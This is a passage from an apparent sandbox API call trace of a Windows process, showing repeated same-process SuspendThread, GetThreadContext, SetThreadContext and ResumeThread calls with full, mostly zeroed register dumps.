[171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.075] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d198, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.075] ResumeThread (hThread=0x130) returned 0x1
[0130.075] CloseHandle (hObject=0x130) returned 1
[0130.075] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.117] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.159] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0130.159] SuspendThread (hThread=0x130) returned 0x0
[0130.159] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1683ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.160] ResumeThread (hThread=0x130) returned 0x1
[0130.160] CloseHandle (hObject=0x130) returned 1
[0130.160] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.200] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.241] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0130.241] SuspendThread (hThread=0x130) returned 0x0
[0130.241] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1687ff8, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.242] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d198, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0130.242] ResumeThread (hThread=0x130) returned 0x1
[0130.242] CloseHandle (hObject=0x130) returned 1
[0130.242] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.284] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0130.325] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0130.325] SuspendThread (hThread=0x130) returned 0x0
[0130.325] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021f878, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12eff00, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, 